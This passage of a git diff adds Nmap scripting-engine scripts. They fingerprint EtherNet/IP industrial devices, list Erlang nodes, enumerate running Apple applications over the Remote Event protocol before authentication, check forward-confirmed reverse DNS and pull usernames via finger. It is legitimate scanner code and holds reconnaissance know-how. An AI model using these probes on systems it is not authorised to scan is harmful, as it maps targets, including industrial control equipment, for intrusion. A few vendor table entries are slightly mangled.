+ [1125] = "Tetra Pak Packaging Solutions SPA",
+ [1126] = "Racine Federated Inc.",
+ [1127] = "Pureron Japan Co.Ltd.",
+ [1130] = "Brother IndustriesLtd.",
+ [1132] = "Leroy Automation",
+ [1134] = "THK CO.] = LTD.",
+ [1137] = "TR-Electronic GmbH",
+ [1138] = "ASCON S.p.A.",
+ [1139] = "Toledo do Brasil Industria de Balancas Ltda.",
+ [1140] = "Bucyrus DBT Europe GmbH",
+ [1141] = "Emerson Process Management Valve Automation",
+ [1142] = "Alstom Transport",
+ [1144] = "Matrox Electronic Systems",
+ [1145] = "Littelfuse",
+ [1146] = "PLASMART Inc.",
+ [1147] = "Miyachi Corporation",
+ [1150] = "Promess Incorporated",
+ [1151] = "COPA-DATA GmbH",
+ [1152] = "Precision Engine Controls Corporation",
+ [1153] = "Alga Automacao e controle LTDA",
+ [1154] = "U.I. Lapp GmbH",
+ [1155] = "ICES",
+ [1156] = "Philips Lighting bv",
+ [1157] = "Aseptomag AG",
+ [1158] = "ARC Informatique",
+ [1159] = "Hesmor GmbH",
+ [1160] = "Kobe SteelLtd.",
+ [1161] = "FLIR Systems",
+ [1162] = "Simcon A/S",
+ [1163] = "COPALP",
+ [1164] = "Zypcom Inc.",
+ [1165] = "Swagelok",
+ [1166] = "Elspec",
+ [1167] = "ITT Water & Wastewater AB",
+ [1168] = "Kunbus GmbH Industrial Communication",
+ [1170] = "Performance Controls Inc.",
+ [1171] = "ACS Motion ControlLtd.",
+ [1173] = "IStar Technology Limited",
+ [1174] = "Alicat Scientific Inc.",
+ [1176] = "ADFweb.com SRL",
+ [1177] = "Tata Consultancy Services Limited",
+ [1178] = "CXR Ltd.",
+ [1179] = "Vishay Nobel AB",
+ [1181] = "SolaHD",
+ [1182] = "Endress+Hauser",
+ [1183] = "Bartec GmbH",
+ [1185] = "AccuSentry Inc.",
+ [1186] = "Exlar Corporation",
+ [1187] = "ILS Technology",
+ [1188] = "Control Concepts Inc.",
+ [1190] = "Procon Engineering Limited",
+ [1191] = "Hermary Opto Electronics Inc.",
+ [1192] = "Q-Lambda",
+ [1194] = "VAMP Ltd",
+ [1195] = "FlexLink",
+ [1196] = "Office FA.com Co.Ltd.",
+ [1197] = "SPMC (Changzhou) Co. Ltd.",
+ [1198] = "Anton Paar GmbH",
+ [1199] = "Zhuzhou CSR Times Electric Co.Ltd.",
+ [1200] = "DeStaCo",
+ [1201] = "Synrad Inc",
+ [1202] = "Bonfiglioli Vectron GmbH",
+ [1203] = "Pivotal Systems",
+ [1204] = "TKSCT",
+ [1205] = "Randy Nuernberger",
+ [1206] = "CENTRALP",
+ [1207] = "Tengen Group",
+ [1208] = "OES Inc.",
+ [1209] = "Actel Corporation",
+ [1210] = "Monaghan Engineering Inc.",
+ [1211] = "wenglor sensoric gmbh",
+ [1212] = "HSA Systems",
+ [1213] = "MK Precision Co.Ltd.",
+ [1214] = "Tappan Wire and Cable",
+ [1215] = "Heinzmann GmbH & Co. KG",
+ [1216] = "Process Automation International Ltd.",
+ [1217] = "Secure Crossing",
+ [1218] = "SMA Railway Technology GmbH",
+ [1219] = "FMS Force Measuring Systems AG",
+ [1220] = "ABT Endustri Enerji Sistemleri Sanayi Tic. Ltd. Sti.",
+ [1221] = "MagneMotion Inc.",
+ [1222] = "STS Co.Ltd.",
+ [1223] = "MERAK SIC] = SA",
+ [1224] = "ABOUNDI Inc.",
+ [1225] = "Rosemount Inc.",
+ [1226] = "GEA FES Inc.",
+ [1227] = "TMG Technologie und Engineering GmbH",
+ [1228] = "embeX GmbH",
+ [1229] = "GH Electrotermia] = S.A.",
+ [1230] = "Tolomatic",
+ [1231] = "Dukane",
+ [1232] = "Elco (Tian Jin) Electronics Co.Ltd.",
+ [1233] = "Jacobs Automation",
+ [1234] = "Noda Radio Frequency Technologies Co.Ltd.",
+ [1235] = "MSC Tuttlingen GmbH",
+ [1236] = "Hitachi Cable Manchester",
+ [1237] = "ACOREL SAS",
+ [1238] = "Global Engineering Solutions Co.Ltd.",
+ [1239] = "ALTE Transportation] = S.L.",
+ [1240] = "Penko Engineering B.V.",
+ [1241] = "Z-Tec Automation Systems Inc.",
+ [1242] = "ENTRON Controls LLC",
+ [1243] = "Johannes Huebner Fabrik Elektrischer Maschinen GmbH",
+ [1244] = "RF IDeas, Inc.",
+ [1245] = "Pentronic AB",
+ [1246] = "SCA Schucker GmbH & Co. KG",
+ [1247] = "TDK-Lambda",
+ [1248] = "Reserved",
+ [1249] = "Reserved",
+ [1250] = "Altronic LLC",
+ [1251] = "Siemens AG",
+ [1252] = "Liebherr Transportation Systems GmbH & Co KG",
+ [1253] = "Reserved",
+ [1254] = "SKF USA Inc.",
+ [1255] = "Reserved",
+ [1256] = "LMI Technologies",
+ [1257] = "Reserved",
+ [1258] = "Reserved",
+ [1259] = "EN Technologies Inc.",
+ [1260] = "Reserved",
+ [1261] = "CEPHALOS Automatisierung mbH",
+ [1262] = "Atronix Engineering, Inc.",
+ [1263] = "Monode Marking Products, Inc.",
+ [1264] = "Reserved",
+ [1265] = "Quabbin Wire & Cable Co., Inc.",
+ [1266] = "GPSat Systems Australia",
+ [1267] = "Reserved",
+ [1268] = "Reserved",
+ [1269] = "Tri-Tronics Co., Inc.",
+ [1270] = "Rovema GmbH",
+ [1271] = "Reserved",
+ [1272] = "IEP GmbH",
+ [1273] = "Reserved",
+ [1274] = "Reserved",
+ [1275] = "Reserved",
+ [1276] = "Reserved",
+ [1277] = "Control Chief Corporation",
+ [1278] = "Reserved",
+ [1279] = "Reserved",
+ [1280] = "Jacktek Systems Inc.",
+ [1281] = "Reserved",
+ [1282] = "PRIMES GmbH",
+ [1283] = "Branson Ultrasonics",
+ [1284] = "DEIF A/S",
+ [1285] = "3S-Smart Software Solutions GmbH",
+ [1286] = "Reserved",
+ [1287] = "Smarteye Corporation",
+ [1288] = "Toshiba Machine",
+ [1289] = "eWON",
+ [1290] = "OFS",
+ [1291] = "KROHNE",
+ [1292] = "Reserved",
+ [1293] = "General Cable Industries, Inc.",
+ [1294] = "Reserved",
+ [1295] = "Kistler Instrumente AG",
+ [1296] = "YJS Co., Ltd.",
+ [1297] = "Reserved",
+ [1298] = "Reserved",
+ [1299] = "Reserved",
+ [1300] = "Reserved",
+ [1301] = "Xylem Analytics Germany GmbH",
+ [1302] = "Lenord, Bauer & Co. GmbH",
+ [1303] = "Carlo Gavazzi Controls",
+ [1304] = "Faiveley Transport",
+ [1305] = "Reserved",
+ [1306] = "vMonitor",
+ [1307] = "Kepware Technologies",
+ [1308] = "duagon AG",
+ [1309] = "Reserved",
+ [1310] = "Xylem Water Solutions",
+ [1311] = "Automation Professionals, LLC",
+ [1312] = "Reserved",
+ [1313] = "CEIA SpA",
+ [1314] = "Marine Technologies LLC",
+ [1315] = "Alphagate Automatisierungstechnik GmbH",
+ [1316] = "Mecco Partners, LLC",
+ [1317] = "LAP GmbH Laser Applikationen",
+ [1318] = "ABB S.p.A. - SACE Division",
+ [1319] = "ABB S.p.A. - SACE Division",
+ [1320] = "Reserved",
+ [1321] = "Reserved",
+ [1322] = "Thermo Ramsey Inc.",
+ [1323] = "Helmholz GmbH & Co. KG",
+ [1324] = "EUCHNER GmbH + Co. KG",
+ [1325] = "AMK GmbH & Co. KG",
+ [1326] = "Badger Meter",
+ [1327] = "Reserved",
+ [1328] = "Fisher-Rosemount Systems, Inc.",
+ [1329] = "LJU Automatisierungstechnik GmbH",
+ [1330] = "Fairbanks Scales, Inc.",
+ [1331] = "Imperx, Inc.",
+ [1332] = "FRONIUS International GmbH",
+ [1333] = "Hoffman Enclosures",
+ [1334] = "Elecsys Corporation",
+ [1335] = "Bedrock Automation",
+ [1336] = "RACO Manufacturing and Engineering",
+ [1337] = "Hein Lanz Industrial Tech.",
+ [1338] = "Synopsys, Inc. (formerly Codenomicon)",
+ [1339] = "Reserved",
+ [1340] = "Reserved",
+ [1341] = "Sensirion AG",
+ [1342] = "SIKO GmbH",
+ [1343] = "Reserved",
+ [1344] = "GRUNDFOS",
+ [1345] = "Reserved",
+ [1346] = "Beijer Electronics Products AB",
+ [1347] = "Reserved",
+ [1348] = "AIMCO",
+ [1349] = "Reserved",
+ [1350] = "Coval Vacuum Managers",
+ [1351] = "Powell Industries",
+ [1352] = "Reserved",
+ [1353] = "IPDisplays",
+ [1354] = "SCAIME SAS",
+ [1355] = "Metal Work SpA",
+ [1356] = "Telsonic AG",
+ [1357] = "Reserved",
+ [1358] = "Hauch & Bach ApS",
+ [1359] = "Pago AG",
+ [1360] = "ULTIMATE Europe Transportation Equipment GmbH",
+ [1361] = "Reserved",
+ [1362] = "Enovation Controls",
+ [1363] = "Lake Cable LLC",
+ [1364] = "Reserved",
+ [1365] = "Reserved",
+ [1366] = "Reserved",
+ [1367] = "Laird",
+ [1368] = "Nanotec Electronic GmbH & Co. KG",
+ [1369] = "SAMWON ACT Co., Ltd.",
+ [1370] = "Aparian Inc.",
+ [1371] = "Cosys Inc.",
+ [1372] = "Insight Automation Inc.",
+ [1373] = "Reserved",
+ [1374] = "FASTECH",
+ [1375] = "K.A. Schmersal GmbH & Co. KG",
+ [1376] = "Reserved",
+ [1377] = "Chromalox",
+ [1378] = "SEIDENSHA ELECTRONICS CO., LTD",
+ [1379] = "Reserved",
+ [1380] = "Don Electronics Ltd",
+ [1381] = "burster gmbh & co kg",
+ [1382] = "Unitronics (1989) (RG) LTD",
+ [1383] = "OEM Technology Solutions",
+ [1384] = "Allied Motion",
+ [1385] = "Mitron Oy",
+ [1386] = "Dengensha TOA",
+ [1387] = "Systec Systemtechnik und Industrieautomation GmbH",
+ [1388] = "Reserved",
+ [1389] = "Jenny Science AG",
+ [1390] = "Baumer Optronic GmbH",
+ [1391] = "Invertek Drives Ltd",
+ [1392] = "High Grade Controls Corporation",
+ [1393] = "Reserved",
+ [1394] = "Ishida Europe Limited",
+ [1395] = "Reserved",
+ [1396] = "Actia Systems",
+ [1397] = "Reserved",
+ [1398] = "Beijing Tiandi-Marco Electro-Hydraulic Control System Co., Ltd.",
+ [1399] = "Universal Robots A/S",
+ [1400] = "Reserved",
+ [1401] = "Dialight",
+ [1402] = "E-T-A Elektrotechnische Apparate GmbH",
+ [1403] = "Kemppi Oy",
+ [1404] = "Tianjin Geneuo Technology Co., Ltd.",
+ [1405] = "ORing Industrial Networking Corp.",
+ [1406] = "Benchmark Electronics",
+ [1407] = "Reserved",
+ [1408] = "ELAP S.R.L.",
+ [1409] = "Applied Mining Technologies",
+ [1410] = "KITZ SCT Corporation",
+ [1411] = "VTEX Corporation",
+ [1412] = "ESYSE GmbH Embedded Systems Engineering",
+ [1413] = "Automation Controls",
+ [1414] = "Reserved",
+ [1415] = "Cincinnati Test Systems",
+ [1416] = "Reserved",
+ [1417] = "Zumbach Electronics Corp.",
+ [1418] = "Emerson Process Management",
+ [1419] = "CCS Inc.",
+ [1420] = "Videojet, Inc.",
+ [1421] = "Zebra Technologies",
+ [1422] = "Anritsu Infivis",
+ [1423] = "Dimetix AG",
+ [1424] = "General Measure (China)",
+ [1425] = "Fortress Interlocks",
+ [1426] = "Reserved",
+ [1427] = "Task Force Tips",
+ [1428] = "SERVO-ROBOT INC.",
+ [1429] = "Flow Devices and Systems, Inc.",
+ [1430] = "nLIGHT, Inc.",
+ [1431] = "Microchip Technology Inc.",
+ [1432] = "DENT Instruments",
+ [1433] = "CMC Industrial Electronics Ltd.",
+ [1434] = "Accutron Instruments Inc.",
+ [1435] = "Kaeser Kompressoren SE",
+ [1436] = "Optoelectronics",
+ [1437] = "Coherix, Inc.",
+ [1438] = "FLSmidth A/S",
+ [1439] = "Kyland Corporation",
+ [1440] = "Cole-Parmer Instrument Company",
+ [1441] = "Wachendorff Automation GmbH & Co., KG",
+ [1442] = "SMAC Moving Coil Actuators",
+ [1443] = "Reserved",
+ [1444] = "PushCorp, Inc.",
+ [1445] = "Fluke Process Instruments GmbH",
+ [1446] = "Mini Motor srl",
+ [1447] = "I-CON Industry Tech.",
+ [1448] = "Grace Engineered Products, Inc.",
+ [1449] = "Zaxis Inc.",
+ [1450] = "Lumasense Technologies",
+ [1451] = "Domino Printing",
+ [1452] = "LightMachinery Inc",
+ [1453] = "DEUTA-WERKE GmbH",
+ [1454] = "Altus Sistemas de Automação S.A.",
+ [1455] = "Criterion NDT",
+ [1456] = "InterTech Development Company",
+ [1457] = "Action Labs, Incorporated",
+ [1458] = "Perle Systems Limited",
+ [1459] = "Utthunga Technologies Pvt Ltd.",
+ [1460] = "Dong IL Vision, Co., Ltd.",
+ [1461] = "Wipotec Wiege-und Positioniersysteme GmbH",
+ [1462] = "Atos spa",
+ [1463] = "Solartron Metrology LTD",
+ [1464] = "Willowglen Systems Inc.",
+ [1465] = "Analog Devices",
+ [1466] = "Power Electronics International, Inc.",
+ [1467] = "Reserved",
+ [1468] = "Campbell Wrapper Corporatio",
+ [1469] = "Herkules-Resotec Elektronik GmbH",
+ [1470] = "aignep spa",
+ [1471] = "SHANGHAI CARGOA M.&E.EQUIPMENT CO.LTD",
+ [1472] = "PMV Automation AB",
+ [1473] = "K-Patents Oy",
+ [1474] = "Dynatronix",
+ [1475] = "Atop Technologies",
+ [1476] = "Bitronics, LLC.",
+ [1477] = "Delta Tau Data Systems",
+ [1478] = "WITZ Corporation",
+ [1479] = "AUTOSOL",
+ [1480] = "ADB Safegate",
+ [1481] = "VersaBuilt, Inc",
+ [1482] = "Visual Technologies, Inc.",
+ [1483] = "Artis GmbH",
+ [1484] = "Reliance Electric Limited",
+ [1485] = "Vanderlande",
+ [1486] = "Packet Power",
+ [1487] = "ima-tec gmbh",
+ [1488] = "Vision Automation A/S",
+ [1489] = "PROCENTEC BV",
+ [1490] = "HETRONIK GmbH",
+ [1491] = "Lanmark Controls Inc.",
+ [1492] = "profichip GmbH",
+ [1493] = "flexlog GmbH",
+ [1494] = "YUCHANGTECH",
+ [1495] = "Dynapower Company",
+ [1496] = "TAKIKAWA ENGINEERING",
+ [1497] = "Ingersoll Rand",
+ [1498] = "ASA-RT s.r.l",
+ [1499] = "Trumpf Laser- und Systemtectechnik Gmbh",
+ [1500] = "SYNTEC TECHNOLOGY CORPORATION COMPANY",
+ [1501] = "Rinstrum",
+ [1502] = "Symbotic LLC",
+ [1503] = "GE Healthcare Life Sciences",
+ [1504] = "BlueBotics SA",
+ [1505] = "Dynapar Corporation",
+ [1506] = "Blum-Novotest",
+ [1507] = "CIMON",
+ [1508] = "Dalian SeaSky Automation Co., ltd",
+ [1509] = "Rethink Robotics, Inc.",
+ [1510] = "Ingeteam",
+ [1511] = "TOSEI ENGINEERING CORP.",
+ [1512] = "SAMSON AG",
+ [1513] = "TGW Mechanics GmbH",
+}
+
+--return vendor information
+local function vendor_lookup(vennum)
+ return vendor_id[vennum] or "Unknown Vendor Number"
+end
+
+-- Table to look up the Device Type based on Device ID Number
+-- Returns "Unknown Device Type" if Device ID Number not recognized
+-- Table data from Wireshark dissector ( link to unofficial mirror )
+-- https://github.com/avsej/wireshark/blob/master/epan/dissectors/packet-enip.c
+-- Fetched on 4/19/2014
+--
+-- @key devtype Device ID number parsed out of the EtherNet/IP packet
+local device_type = {
+ [0] = "Generic Device (deprecated)",
+ [1] = "Control Station (deprecated)",
+ [2] = "AC Drive Device",
+ [3] = "Motor Overload",
+ [4] = "Limit Switch",
+ [5] = "Inductive Proximity Switch",
+ [6] = "Photoelectric Sensor",
+ [7] = "General Purpose Discrete I/O",
+ [8] = "Encoder (deprecated)",
+ [9] = "Resolver",
+ [10] = "General Purpose Analog I/O (deprecated)",
+ [12] = "Communications Adapter",
+ [13] = "Barcode Scanner (deprecated)",
+ [14] = "Programmable Logic Controller",
+ [16] = "Position Controller",
+ [17] = "Weigh Scale (deprecated)",
+ [18] = "Message Display (deprecated)",
+ [19] = "DC Drive",
+ [20] = "Servo Drives (deprecated)",
+ [21] = "Contactor",
+ [22] = "Motor Starter",
+ [23] = "Softstart Starter",
+ [24] = "Human-Machine Interface",
+ [25] = "Pneumatic Valve(s) (deprecated)",
+ [26] = "Mass Flow Controller",
+ [27] = "Pneumatic Valve(s)",
+ [28] = "Vacuum Pressure Gauge",
+ [29] = "Process Control Value",
+ [30] = "Residual Gas Analyzer",
+ [31] = "DC Power Generator",
+ [32] = "RF Power Generator",
+ [33] = "Turbomolecular Vacuum Pump",
+ [34] = "Encoder",
+ [35] = "Safety Discrete I/O Device",
+ [36] = "Fluid Flow Controller",
+ [37] = "CIP Motion Drive",
+ [38] = "CompoNet Repeater",
+ [39] = "Mass Flow Controller Enhanced",
+ [40] = "CIP Modbus Device",
+ [41] = "CIP Modbus Translator",
+ [42] = "Safety Analog I/O Device",
+ [43] = "Generic Device (keyable)",
+ [44] = "Managed Ethernet Switch",
+ [50] = "ControlNet Physical Layer Component",
+ [59] = "ControlNet Physical Layer Component",
+ [100] = "In-Sight 2000 Series",
+ [150] = "PowerFlex 525",
+ [773] = "DataMan Series Reader"
+}
+
+--return device type information
+function device_type_lookup (devtype)
+ return device_type[devtype] or "Unknown Device Type"
+end
+
+-- Function to set the nmap output for the host, if a valid EtherNet/IP packet
+-- is received then the output will show that the port as EtherNet/IP instead of
+-- <code>unknown</code>
+
+-- @param host Host that was passed in via nmap
+-- @param port port that EtherNet/IP is running on (Default TCP/44818)
+function set_nmap(host, port)
+ --set port Open
+ port.state = "open"
+ -- set version name to EtherNet/IP
+ port.version.name = "EtherNet-IP-2"
+ nmap.set_port_version(host, port)
+ nmap.set_port_state(host, port, "open")
+end
+
+-- Action Function that is used to run the NSE. This function will send the initial query to the
+-- host and port that were passed in via nmap. The initial response is parsed to determine if host
+-- is a EtherNet/IP device. If it is then more actions are taken to gather extra information.
+--
+-- @param host Host that was scanned via nmap
+-- @param port port that was scanned via nmap
+action = function(host,port)
+ -- create local vars for socket handling
+ local socket, try, catch
+
+ -- create new socket
+ socket = nmap.new_socket()
+
+ -- set timeout
+ socket:set_timeout(stdnse.get_timeout(host))
+
+ -- define the catch of the try statement
+ catch = function()
+ socket:close()
+ end
+
+ -- create new try
+ try = nmap.new_try(catch)
+
+ -- connect to port on host
+ try(socket:connect(host, port))
+
+ -- send the request identity packet (0x63)
+ local enipQuery = stdnse.fromhex("63000000000000000000000000000000c1debed100000000")
+ try(socket:send(enipQuery))
+
+ -- receive response
+ local rcvstatus, response = socket:receive()
+
+ -- close socket
+ socket:close()
+
+ -- abort if no response
+ if(rcvstatus == false) then
+ return nil
+ end
+
+ -- print raw bytes
+ stdnse.print_debug(1, "Raw hex: %s", stdnse.tohex(response))
+
+ -- unpack the response command
+ local command = string.unpack("B", response, 1)
+ stdnse.print_debug(1, "command 0x%s", stdnse.tohex(command))
+
+ -- abort if command != 0x63 or bad response
+ if (command ~= 0x63 or string.len(response) < 27) then
+ return nil
+ end
+
+ -- unpack the response type id
+ local typeId = string.unpack("B", response, 27)
+ stdnse.print_debug(1, "command 0x%s", stdnse.tohex(typeId))
+
+ -- abort if typeId != 0x0c
+ if (typeId ~= 0x0c) then
+ return nil
+ end
+
+ -- Device IP, this could be the same, as the IP scanning, or may be actual IP behind NAT
+ local dword = string.unpack(">I4", response, 37)
+ local deviceIp = ipOps.fromdword(dword)
+
+ -- get vendor number
+ local vendorNumber, Index = string.unpack("<I2", response, 49)
+ -- look up vendor number and store in output table
+ vendorNumber = vendor_lookup(vendorNumber) .. " (" .. vendorNumber .. ")"
+
+ -- get device type number
+ local deviceNumber, Index = string.unpack("<I2", response, Index)
+ -- lookup device type based off number, return to output table
+ deviceNumber = device_type_lookup(deviceNumber) .. " (" .. deviceNumber .. ")"
+
+ -- unpack product code as a two byte int
+ local productCode, Index = string.unpack("<I2", response, Index)
+
+ -- get revision number
+ local major, minor, Index = string.unpack("BB", response, Index)
+ local revision = major .. "." .. minor
+
+ -- get status in hex format
+ local status, Index = string.unpack("<I2", response, Index)
+ status = string.format("%#0.4x", status)
+
+ -- get serial number in hex format
+ local serialNumber, Index = string.unpack("<I4", response, Index)
+ serialNumber = string.format("%#0.8x", serialNumber)
+
+ -- get product name
+ local productName, Index = string.unpack("s1", response, Index)
+
+ -- get state in hex format
+ local state, Index = string.unpack(">B", response, Index)
+ state = string.format("%#0.2x", state)
+
+ -- create table for output
+ local output = stdnse.output_table()
+
+ -- populate output table
+ output["type"] = deviceNumber
+ output["vendor"] = vendorNumber
+ output["productName"] = productName
+ output["serialNumber"] = serialNumber
+ output["productCode"] = productCode
+ output["revision"] = revision
+ output["status"] = status
+ output["state"] = state
+ output["deviceIp"] = deviceIp
+
+ -- set Nmap output
+ set_nmap(host, port)
+
+ -- return output table to Nmap
+ return output
+end
diff --git a/scripts/epmd-info.nse b/scripts/epmd-info.nse
new file mode 100644
index 0000000..b43cb3f
--- /dev/null
+++ b/scripts/epmd-info.nse
@@ -0,0 +1,69 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Connects to Erlang Port Mapper Daemon (epmd) and retrieves a list of nodes with their respective port numbers.
+]]
+
+---
+-- @usage
+-- nmap -p 4369 --script epmd-info <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 4369/tcp open epmd
+-- | epmd-info.nse:
+-- | epmd_port: 4369
+-- | nodes:
+-- | rabbit: 36804
+-- |_ ejabberd: 46540
+-- @xmloutput
+-- <elem key="epmd_port">4369</elem>
+-- <table key="nodes">
+-- <elem key="rabbit">36804</elem>
+-- <elem key="ejabberd">46540</elem>
+-- </table>
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = shortport.port_or_service (4369, "epmd")
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ socket:set_timeout(stdnse.get_timeout(host))
+ local try = nmap.new_try(function () socket:close() end)
+ try(socket:connect(host, port))
+
+ try(socket:send("\x00\x01n")) -- NAMESREQ = 110
+
+ local getline = stdnse.make_buffer(socket, "\n")
+
+ local data, err = getline()
+ if data == nil then
+ stdnse.debug2("Error on receive: %s", err)
+ socket:close()
+ return nil
+ end
+
+ local realport, pos = string.unpack(">I4", data)
+ data = string.sub(data, pos)
+
+ local nodes = stdnse.output_table()
+ local name, port
+ while data and data ~= "" do
+ name, port = data:match("^name (.*) at port (%d+)")
+ if name then
+ nodes[name] = port
+ end
+ data = getline()
+ end
+
+ local response = stdnse.output_table()
+ response.epmd_port = realport
+ response.nodes = nodes
+ return response
+end
diff --git a/scripts/eppc-enum-processes.nse b/scripts/eppc-enum-processes.nse
new file mode 100644
index 0000000..5d8f374
--- /dev/null
+++ b/scripts/eppc-enum-processes.nse
@@ -0,0 +1,105 @@
+local nmap = require('nmap')
+local shortport = require('shortport')
+local stdnse = require('stdnse')
+local string = require('string')
+local tab = require('tab')
+
+description = [[
+Attempts to enumerate process info over the Apple Remote Event protocol.
+When accessing an application over the Apple Remote Event protocol the
+service responds with the uid and pid of the application, if it is running,
+prior to requesting authentication.
+]]
+
+---
+-- @usage
+-- nmap -p 3031 <ip> --script eppc-enum-processes
+--
+-- @output
+-- PORT STATE SERVICE
+-- 3031/tcp open eppc
+-- | eppc-enum-processes:
+-- | application uid pid
+-- | Address Book 501 269
+-- | Facetime 501 495
+-- | Finder 501 274
+-- | iPhoto 501 267
+-- | Photo booth 501 471
+-- | Remote Buddy 501 268
+-- | Safari 501 270
+-- | Terminal 501 266
+-- | Transmission 501 265
+-- |_VLC media player 501 367
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+portrule = shortport.port_or_service(3031, "eppc", "tcp", "open")
+
+action = function( host, port )
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ local try = nmap.new_try(
+ function()
+ stdnse.debug1("failed")
+ socket:close()
+ end
+ )
+
+ -- a list of application that may or may not be running on the target
+ local apps = {
+ "Address Book",
+ "App Store",
+ "Facetime",
+ "Finder",
+ "Firefox",
+ "Google Chrome",
+ "iChat",
+ "iPhoto",
+ "Keychain Access",
+ "iTunes",
+ "Photo booth",
+ "QuickTime Player",
+ "Remote Buddy",
+ "Safari",
+ "Spotify",
+ "Terminal",
+ "TextMate",
+ "Transmission",
+ "VLC",
+ "VLC media player",
+ }
+
+ local results = tab.new(3)
+ tab.addrow( results, "application", "uid", "pid" )
+
+ for _, app in ipairs(apps) do
+ try( socket:connect(host, port, "tcp") )
+ local data
+
+ local packets = {
+ "PPCT\0\0\0\1\0\0\0\1",
+ -- unfortunately I've found no packet specifications, so this has to do
+ stdnse.fromhex("e44c50525401e101")
+ .. string.pack("Bs1", 225 + #app, app)
+ .. stdnse.fromhex("dfdbe302013ddfdfdfdfd500"),
+ }
+
+ for _, v in ipairs(packets) do
+ try( socket:send(v) )
+ data = try( socket:receive() )
+ end
+
+ local uid, pid = data:match("uid=(%d+)&pid=(%d+)")
+ if ( uid and pid ) then tab.addrow( results, app, uid, pid ) end
+
+ try( socket:close() )
+ end
+
+ return "\n" .. tab.dump(results)
+
+end
diff --git a/scripts/fcrdns.nse b/scripts/fcrdns.nse
new file mode 100644
index 0000000..e2a51b1
--- /dev/null
+++ b/scripts/fcrdns.nse
@@ -0,0 +1,141 @@
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Performs a Forward-confirmed Reverse DNS lookup and reports anomalous results.
+
+References:
+* https://en.wikipedia.org/wiki/Forward-confirmed_reverse_DNS
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn --script fcrdns <target>
+--
+-- @output
+-- Host script results:
+-- |_fcrdns: FAIL (12.19.29.17, 12.19.20.14, 23.10.13.25)
+--
+-- Host script results:
+-- |_fcrdns: PASS (37.58.100.86-static.reverse.softlayer.com)
+--
+-- Host script results:
+-- | fcrdns:
+-- | <none>:
+-- | status: fail
+-- |_ reason: No PTR record
+--
+-- Host script results:
+-- | fcrdns:
+-- | mail.example.com:
+-- | status: fail
+-- | reason: FCRDNS mismatch
+-- | addresses:
+-- | 12.19.29.17
+-- | mail.contoso.net:
+-- | status: fail
+-- | reason: FCRDNS mismatch
+-- | addresses:
+-- | 12.19.20.14
+-- |_ 23.10.13.25
+--
+--@xmloutput
+-- <table key="mail.example.com">
+-- <elem key="status">fail</elem>
+-- <elem key="reason">FCRDNS mismatch</elem>
+-- <table key="addresses">
+-- <elem>12.19.29.17</elem>
+-- </table>
+-- </table>
+-- <table key="mail.contoso.net">
+-- <elem key="status">fail</elem>
+-- <elem key="reason">FCRDNS mismatch</elem>
+-- <table key="addresses">
+-- <elem>12.19.20.14</elem>
+-- <elem>23.10.13.25</elem>
+-- </table>
+-- </table>
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+-- not default, because user may choose -n and expect no DNS
+categories = {"discovery", "safe"}
+
+
+hostrule = function(host)
+ -- Every host with an IP address can be checked
+ return true
+end
+
+action = function(host)
+ -- Do reverse-DNS lookup of the IP
+ -- Can't just use host.name because some IPs have multiple PTR records
+ local status, rdns = dns.query(dns.reverse(host.ip), {dtype="PTR", retAll=true})
+ if not status then
+ stdnse.debug("PTR request for %s failed: %s", host.ip, rdns)
+ local ret = stdnse.output_table()
+ ret.status = "fail"
+ ret.reason = "No PTR record"
+ return {["<none>"]=ret}, "FAIL (No PTR record)"
+ end
+
+ local str_out = nil
+ -- Now do forward lookup of the name(s) we got
+ local names = stdnse.output_table()
+ local fcrdns
+ local fail_addrs = {}
+ local forward_type = nmap.address_family() == "inet" and "A" or "AAAA"
+ local no_record_err = string.format("No %s record", forward_type)
+ table.sort(rdns)
+ for _, n in ipairs(rdns) do
+ local name = stdnse.output_table()
+ -- assume failure, we can override when/if we succeed
+ name.status = "fail"
+ name.reason = "FCRDNS mismatch"
+ names[n] = name
+
+ status, fcrdns = dns.query(n, {dtype=forward_type, retAll=true})
+ if not status then
+ stdnse.debug("%s request for %s failed: %s", forward_type, n, fcrdns)
+ name.reason = no_record_err
+ else
+ for _, ip in ipairs(fcrdns) do
+ if ipOps.compare_ip( ip, "eq", host.ip) then
+ name.status = "pass"
+ name.reason = nil
+ str_out = string.format("PASS (%s)", n)
+ end
+ end
+ name.addresses = fcrdns
+ if name.status == "fail" then
+ -- keep a list of unique addresses for short output
+ for _, a in ipairs(name.addresses) do
+ fail_addrs[a] = true
+ end
+ end
+ end
+ end
+
+ if nmap.verbosity() > 0 then
+ -- use default structured output for verbosity
+ str_out = nil
+ elseif str_out == nil then
+ -- we failed, and need to format a short output string
+ fail_addrs = tableaux.keys(fail_addrs)
+ if #fail_addrs > 0 then
+ table.sort(fail_addrs)
+ str_out = string.format("FAIL (%s)", table.concat(fail_addrs, ", "))
+ else
+ str_out = string.format("FAIL (%s)", no_record_err)
+ end
+ end
+
+ return names, str_out
+end
diff --git a/scripts/finger.nse b/scripts/finger.nse
new file mode 100644
index 0000000..88528a3
--- /dev/null
+++ b/scripts/finger.nse
@@ -0,0 +1,37 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+
+description = [[
+Attempts to retrieve a list of usernames using the finger service.
+]]
+
+author = "Eddie Bell"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "discovery", "safe"}
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 79/tcp open finger
+-- | finger:
+-- | Welcome to Linux version 2.6.31.12-0.2-default at linux-pb94.site !
+-- | 01:14am up 18:54, 4 users, load average: 0.14, 0.08, 0.01
+-- |
+-- | Login Name Tty Idle Login Time Where
+-- | Gutek Ange Gutek *:0 - Wed 06:19 console
